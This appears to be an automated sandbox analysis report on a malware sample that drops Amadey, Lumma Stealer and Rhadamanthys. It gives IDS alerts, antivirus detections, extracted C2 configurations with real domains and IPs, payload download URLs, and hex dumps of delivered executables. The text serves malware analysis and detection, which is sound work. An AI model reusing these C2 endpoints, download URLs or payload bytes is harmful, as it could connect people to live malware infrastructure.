Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T06:10:07.423552+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.4	49904	104.21.66.85	443	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T06:09:05.500049+0100	2856147	1	A Network Trojan was detected	192.168.2.4	49748	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T06:09:15.968924+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.4	49754	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-19T06:09:11.525019+0100	2803305	3	Unknown Traffic	192.168.2.4	49763	31.41.244.11	80	TCP
2024-12-19T06:09:20.397213+0100	2803305	3	Unknown Traffic	192.168.2.4	49787	31.41.244.11	80	TCP
2024-12-19T06:09:35.500138+0100	2803305	3	Unknown Traffic	192.168.2.4	49823	31.41.244.11	80	TCP
2024-12-19T06:09:41.147923+0100	2803305	3	Unknown Traffic	192.168.2.4	49838	31.41.244.11	80	TCP
2024-12-19T06:09:49.770079+0100	2803305	3	Unknown Traffic	192.168.2.4	49860	31.41.244.11	80	TCP
2024-12-19T06:10:01.955788+0100	2803305	3	Unknown Traffic	192.168.2.4	49892	31.41.244.11	80	TCP
2024-12-19T06:10:09.176191+0100	2803305	3	Unknown Traffic	192.168.2.4	49910	31.41.244.11	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://31.41.244.11/files/1293295511/zudFSfy.exe	Avira URL Cloud: Label: phishing
Source: http://31.41.244.11/files/x3team/random.exe	Avira URL Cloud: Label: phishing
Source: https://aspecteirs.lat/api	Avira URL Cloud: Label: malware
Source: http://31.41.244.11/files/1293295511/kz8ZdyP.exe	Avira URL Cloud: Label: phishing
Source: http://31.41.244.11/files/lolz/random.exe	Avira URL Cloud: Label: phishing

Antivirus detection for dropped file

Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	Avira: detection malicious, Label: HEUR/AGEN.1314134
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Avira: detection malicious, Label: TR/Crypt.TPM.Gen
Source: C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	Avira: detection malicious, Label: HEUR/AGEN.1352802
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Avira: detection malicious, Label: HEUR/AGEN.1352802

Found malware configuration

Source: 00000002.00000002.1782523187.0000000000B71000.00000040.00000001.01000000.00000007.sdmp	Malware Configuration Extractor: Amadey {"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}
Source: 00000015.00000002.2763969121.0000000000159000.00000040.00000001.01000000.00000014.sdmp	Malware Configuration Extractor: Rhadamanthys {"C2 url": "https://198.251.84.107:9254/dc33e47f6acdb4eefe/ahbjmv76.0lxxe"}
Source: 00000025.00000002.2961700266.0000000000A56000.00000004.00000020.00020000.00000000.sdmp	Malware Configuration Extractor: LummaC {"C2 url": ["grannyejh.lat", "discokeyus.lat", "aspecteirs.lat", "crosshuaht.lat", "necklacebudi.lat", "sustainskelet.lat", "rapeflowwj.lat", "energyaffai.lat", "sweepyribs.lat"], "Build id": "yau6Na--6989783370"}

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	ReversingLabs: Detection: 87%
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\random[1].exe	ReversingLabs: Detection: 71%
Source: C:\Users\user\AppData\Local\Temp\1017353001\54326d271c.exe	ReversingLabs: Detection: 87%
Source: C:\Users\user\AppData\Local\Temp\1017354001\641d24797a.exe	ReversingLabs: Detection: 71%
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	ReversingLabs: Detection: 47%
Source: C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	ReversingLabs: Detection: 66%
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	ReversingLabs: Detection: 66%
Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	ReversingLabs: Detection: 60%

Multi AV Scanner detection for submitted file

Source: file.exe	Virustotal: Detection: 53%			Perma Link
Source: file.exe	ReversingLabs: Detection: 47%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 99.7% probability

Machine Learning detection for dropped file

Source: C:\unrlkpjy\1be411a3d2ff4d5e9f89420f2740d28f.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\YLNGKWRH\random[2].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1017355001\96ae609d19.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1017351001\e56fffc2ce.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\zudFSfy[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1017352001\ac68c6b737.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\1017321001\kz8ZdyP.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\kz8ZdyP[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\random[1].exe	Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 0000001B.00000002.2969358846.00000000000E1000.00000040.00000001.01000000.00000017.sdmp	String decryptor: rapeflowwj.lat
Source: 0000001B.00000002.2969358846.00000000000E1000.00000040.00000001.01000000.00000017.sdmp	String decryptor: crosshuaht.lat
Source: 0000001B.00000002.2969358846.00000000000E1000.00000040.00000001.01000000.00000017.sdmp	String decryptor: sustainskelet.lat
Source: 0000001B.00000002.2969358846.00000000000E1000.00000040.00000001.01000000.00000017.sdmp	String decryptor: aspecteirs.lat
Source: 0000001B.00000002.2969358846.00000000000E1000.00000040.00000001.01000000.00000017.sdmp	String decryptor: energyaffai.lat
Source: 0000001B.00000002.2969358846.00000000000E1000.00000040.00000001.01000000.00000017.sdmp	String decryptor: necklacebudi.lat
Source: 0000001B.00000002.2969358846.00000000000E1000.00000040.00000001.01000000.00000017.sdmp	String decryptor: discokeyus.lat
Source: 0000001B.00000002.2969358846.00000000000E1000.00000040.00000001.01000000.00000017.sdmp	String decryptor: grannyejh.lat
Source: 0000001B.00000002.2969358846.00000000000E1000.00000040.00000001.01000000.00000017.sdmp	String decryptor: aspecteirs.lat
Source: 0000001B.00000002.2969358846.00000000000E1000.00000040.00000001.01000000.00000017.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 0000001B.00000002.2969358846.00000000000E1000.00000040.00000001.01000000.00000017.sdmp	String decryptor: TeslaBrowser/5.5
Source: 0000001B.00000002.2969358846.00000000000E1000.00000040.00000001.01000000.00000017.sdmp	String decryptor: - Screen Resoluton:
Source: 0000001B.00000002.2969358846.00000000000E1000.00000040.00000001.01000000.00000017.sdmp	String decryptor: - Physical Installed Memory:
Source: 0000001B.00000002.2969358846.00000000000E1000.00000040.00000001.01000000.00000017.sdmp	String decryptor: Workgroup: -
Source: 0000001B.00000002.2969358846.00000000000E1000.00000040.00000001.01000000.00000017.sdmp	String decryptor: CVmr0t--installs

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 20.233.83.145:443 -> 192.168.2.4:49867 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.111.133:443 -> 192.168.2.4:49875 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.85:443 -> 192.168.2.4:49889 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.85:443 -> 192.168.2.4:49896 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.85:443 -> 192.168.2.4:49904 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.85:443 -> 192.168.2.4:49915 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.80:443 -> 192.168.2.4:49918 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.66.85:443 -> 192.168.2.4:49922 version: TLS 1.2

Source:	Binary string: wkernel32.pdb source: ac68c6b737.exe, 00000015.00000003.2740135407.00000000050E0000.00000004.00000001.00020000.00000000.sdmp, ac68c6b737.exe, 00000015.00000003.2740038871.0000000004FC0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdb source: ac68c6b737.exe, 00000015.00000003.2740383178.0000000004FC0000.00000004.00000001.00020000.00000000.sdmp, ac68c6b737.exe, 00000015.00000003.2740579331.00000000051E0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdb source: ac68c6b737.exe, 00000015.00000003.2739303628.00000000051B0000.00000004.00000001.00020000.00000000.sdmp, ac68c6b737.exe, 00000015.00000003.2739087484.0000000004FC0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: ac68c6b737.exe, 00000015.00000003.2739796266.0000000005160000.00000004.00000001.00020000.00000000.sdmp, ac68c6b737.exe, 00000015.00000003.2739612321.0000000004FC0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdbUGP source: ac68c6b737.exe, 00000015.00000003.2739303628.00000000051B0000.00000004.00000001.00020000.00000000.sdmp, ac68c6b737.exe, 00000015.00000003.2739087484.0000000004FC0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: ac68c6b737.exe, 00000015.00000003.2739796266.0000000005160000.00000004.00000001.00020000.00000000.sdmp, ac68c6b737.exe, 00000015.00000003.2739612321.0000000004FC0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: zudFSfy.exe, 00000009.00000002.2499731159.0000000005AF0000.00000004.08000000.00040000.00000000.sdmp, zudFSfy.exe, 00000009.00000002.2486574208.0000000003321000.00000004.00000800.00020000.00000000.sdmp, zudFSfy.exe, 00000009.00000002.2494620815.0000000004321000.00000004.00000800.00020000.00000000.sdmp, zudFSfy.exe, 00000009.00000002.2494620815.00000000043ED000.00000004.00000800.00020000.00000000.sdmp, kz8ZdyP.exe, 0000000D.00000002.2573081196.0000000002ABA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: zudFSfy.exe, 00000009.00000002.2499731159.0000000005AF0000.00000004.08000000.00040000.00000000.sdmp, zudFSfy.exe, 00000009.00000002.2486574208.0000000003321000.00000004.00000800.00020000.00000000.sdmp, zudFSfy.exe, 00000009.00000002.2494620815.0000000004321000.00000004.00000800.00020000.00000000.sdmp, zudFSfy.exe, 00000009.00000002.2494620815.00000000043ED000.00000004.00000800.00020000.00000000.sdmp, kz8ZdyP.exe, 0000000D.00000002.2573081196.0000000002ABA000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: wkernel32.pdbUGP source: ac68c6b737.exe, 00000015.00000003.2740135407.00000000050E0000.00000004.00000001.00020000.00000000.sdmp, ac68c6b737.exe, 00000015.00000003.2740038871.0000000004FC0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdbUGP source: ac68c6b737.exe, 00000015.00000003.2740383178.0000000004FC0000.00000004.00000001.00020000.00000000.sdmp, ac68c6b737.exe, 00000015.00000003.2740579331.00000000051E0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: C:\Users\danie\source\repos\NewText\NewText\obj\Debug\NewText.pdb source: skotes.exe, 00000006.00000002.2970891358.000000000079A000.00000004.00000020.00020000.00000000.sdmp, e56fffc2ce.exe, 0000000E.00000000.2625265677.00000000008B2000.00000002.00000001.01000000.00000012.sdmp

Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\main\
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\
Source: C:\Windows\System32\cmd.exe	File opened: C:\Users\user\AppData\Local\Temp\main\extracted

Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 4x nop then jmp 04D15B19h		7_2_04D15193
Source: C:\Users\user\AppData\Local\Temp\1017319001\zudFSfy.exe	Code function: 4x nop then jmp 04D15B19h		7_2_04D1516B

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:49748 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:49754
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49777 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49802 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49832 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49854 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058354 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (aspecteirs .lat) : 192.168.2.4:54369 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058355 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (aspecteirs .lat in TLS SNI) : 192.168.2.4:49889 -> 104.21.66.85:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49888 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058355 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (aspecteirs .lat in TLS SNI) : 192.168.2.4:49896 -> 104.21.66.85:443
Source: Network traffic	Suricata IDS: 2058355 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (aspecteirs .lat in TLS SNI) : 192.168.2.4:49904 -> 104.21.66.85:443
Source: Network traffic	Suricata IDS: 2058378 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat) : 192.168.2.4:53237 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058355 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (aspecteirs .lat in TLS SNI) : 192.168.2.4:49915 -> 104.21.66.85:443
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49908 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2058364 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat) : 192.168.2.4:58687 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058355 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (aspecteirs .lat in TLS SNI) : 192.168.2.4:49922 -> 104.21.66.85:443
Source: Network traffic	Suricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.4:49918 -> 104.21.64.80:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49889 -> 104.21.66.85:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49889 -> 104.21.66.85:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49896 -> 104.21.66.85:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49896 -> 104.21.66.85:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49904 -> 104.21.66.85:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: grannyejh.lat
Source: Malware configuration extractor	URLs: discokeyus.lat
Source: Malware configuration extractor	URLs: aspecteirs.lat
Source: Malware configuration extractor	URLs: crosshuaht.lat
Source: Malware configuration extractor	URLs: necklacebudi.lat
Source: Malware configuration extractor	URLs: sustainskelet.lat
Source: Malware configuration extractor	URLs: rapeflowwj.lat
Source: Malware configuration extractor	URLs: energyaffai.lat
Source: Malware configuration extractor	URLs: sweepyribs.lat
Source: Malware configuration extractor	URLs: https://198.251.84.107:9254/dc33e47f6acdb4eefe/ahbjmv76.0lxxe
Source: Malware configuration extractor	IPs: 185.215.113.43

Uses ping.exe to check the status of other devices and networks

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\System32\PING.EXE "C:\Windows\system32\PING.EXE" 127.0.0.1

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 19 Dec 2024 05:09:11 GMTContent-Type: application/octet-streamContent-Length: 1114112Last-Modified: Thu, 19 Dec 2024 03:43:46 GMTConnection: keep-aliveETag: "67639672-110000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 24 95 63 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 cc 10 00 00 32 00 00 00 00 00 00 ee ea 10 00 00 20 00 00 00 00 11 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 60 11 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 94 ea 10 00 57 00 00 00 00 00 11 00 48 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 11 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 f4 ca 10 00 00 20 00 00 00 cc 10 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 48 2f 00 00 00 00 11 00 00 30 00 00 00 ce 10 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 40 11 00 00 02 00 00 00 fe 10 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 ea 10 00 00 00 00 00 48 00 00 00 02 00 05 00 f0 3c 10 00 a4 ad 00 00 03 00 00 00 4b 00 00 06 90 cc 00 00 60 70 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fe 59 3f a8 46 36 30 84 8d 99 35 b2 d7 ba 38 1a 04 e1 c1 34 7a 63 cb 3a 03 56 92 13 f5 e3 07 ce b0 b7 af 4e 86 30 c8 a0 a9 18 31 bb 9b aa d3 d6 97 4f 2a 18 53 9a e6 7e 04 d9 f6 cb a2 c0 0c f1 49 85 ff a2 70 52 05 b8 69 49 c0 d2 09 93 f6 80 50 6e 7d 9b 0e d8 a3 69 4a 21 42 48 8d 2b 6f 2f 53 ce de 79 6a a1 0e 91 38 54 27 cb 7d fa c0 ca 0f 79 ae 49 a7 6b 44 18 0d cd ef cf 27 f4 88 c7 1c f4 24 c4 36 fa f9 8d ca 7d ad 9c 77 5b db 20 29 e0 89 13 6a 80 07 5b bd 2d 16 d1 30 b8 af 9b bc 7c 7f 95 97 70 cc 12 c3 e3 68 5c 1f ff 4c 8a be b5 18 52 d9 54 96 7e 14 b4 9a 8f 1a 04 62 14 4b 86 68 b2 f1 85 12 0a 22 07 38 c7 73 60 29 e1 f6 9a 31 dd bf b1 13 20 c5 cc aa 98 9e 5b 69 26 ce 39 95 e8 9a 8a 81 a4 61 3f 19 46 03 89 4e 1d d7 98 7e f5 ff cd 5f 12 5e 7f 1b 8e 51 88 1e b8 db bc e6 34 33 f7 4c 97 80 01 81 c2 40 76 b3 89 e6 78 c5 ae 07 49 42 ed 34 de da f1 ba c2 0c 8a b7 f3 9a f3 f4 ac 7c bc 00 05 b9 9e c6 28 8a f1 f1 82 ed c7 cc a1 03 ab 7e 18 59 f7
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 19 Dec 2024 05:09:20 GMTContent-Type: application/octet-streamContent-Length: 1102336Last-Modified: Thu, 19 Dec 2024 03:48:32 GMTConnection: keep-aliveETag: "67639790-10d200"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 d0 96 63 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 9e 10 00 00 32 00 00 00 00 00 00 de bc 10 00 00 20 00 00 00 c0 10 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 11 00 00 02 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 8c bc 10 00 4f 00 00 00 00 c0 10 00 48 2f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 00 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 e4 9c 10 00 00 20 00 00 00 9e 10 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 48 2f 00 00 00 c0 10 00 00 30 00 00 00 a0 10 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 00 11 00 00 02 00 00 00 d0 10 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 bc 10 00 00 00 00 00 48 00 00 00 02 00 05 00 e8 0e 10 00 a4 ad 00 00 03 00 00 00 4b 00 00 06 f8 ca 00 00 f0 43 0f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 57 02 2d 8e cd 0c 20 ba 00 42 26 9c 6e 80 29 54 ad 3a d4 2e 90 19 df c8 bb 0d 89 bb ee 35 db 47 93 2b ad 47 da 9c d7 83 e1 53 95 a2 b1 51 e7 c0 e4 30 78 9e db ef 4f f8 eb ee dd 28 70 97 ac 7a fa f4 4c 92 f0 53 00 3b e6 24 a9 58 6c a5 a2 88 69 25 c4 29 8b a5 5a e3 49 58 be 76 eb 53 5e 8f 69 37 e0 d7 8f 3a d3 2d 72 22 22 39 d6 1e 35 af 35 1c 86 3b 29 53 b2 91 61 1e de ec 05 00 50 5e 42 c4 4b 74 3f de 7f d1 21 27 de 20 c6 1a 2a bb 6b 8a 59 95 e1 94 db 13 94 c6 34 8d e7 af 76 24 e0 95 fb 24 51 2d 8c 08 83 30 9a 03 ee 21 ea 40 3f 8d 48 4d 83 2d 61 03 a2 e9 f5 c4 2c ea 3f af dd a6 58 92 30 16 72 85 de a7 a7 2c 61 15 fb aa f2 72 92 8f 93 67 15 4d fb 03 15 73 23 19 cc 03 71 2f 4a 4f 76 67 eb b4 37 68 21 78 06 a1 4f 63 3c 73 b3 1f b9 a6 a5 74 51 a6 07 9f 5d 0a 8a 69 09 e6 18 30 b2 67 f1 e0 0f 29 a6 64 a2 54 06 04 a7 51 22 01 72 32 68 37 85 c5 c4 e8 fa f0 9b cb f5 67 64 62 e2 ec 1e cf 83 40 2a 24 53 7d b0 23 74 95 f5 42 bf 7c 84 5c 84 40 fa 3f
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 19 Dec 2024 05:09:35 GMTContent-Type: application/octet-streamContent-Length: 21504Last-Modified: Wed, 18 Dec 2024 18:13:28 GMTConnection: keep-aliveETag: "676310c8-5400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 70 6d 3b c0 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 4a 00 00 00 08 00 00 00 00 00 00 3a 69 00 00 00 20 00 00 00 80 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 00 00 00 02 00 00 00 00 00 00 03 00 60 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 e6 68 00 00 4f 00 00 00 00 80 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 00 00 0c 00 00 00 54 68 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 40 49 00 00 00 20 00 00 00 4a 00 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 9c 05 00 00 00 80 00 00 00 06 00 00 00 4c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 a0 00 00 00 02 00 00 00 52 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1a 69 00 00 00 00 00 00 48 00 00 00 02 00 05 00 e4 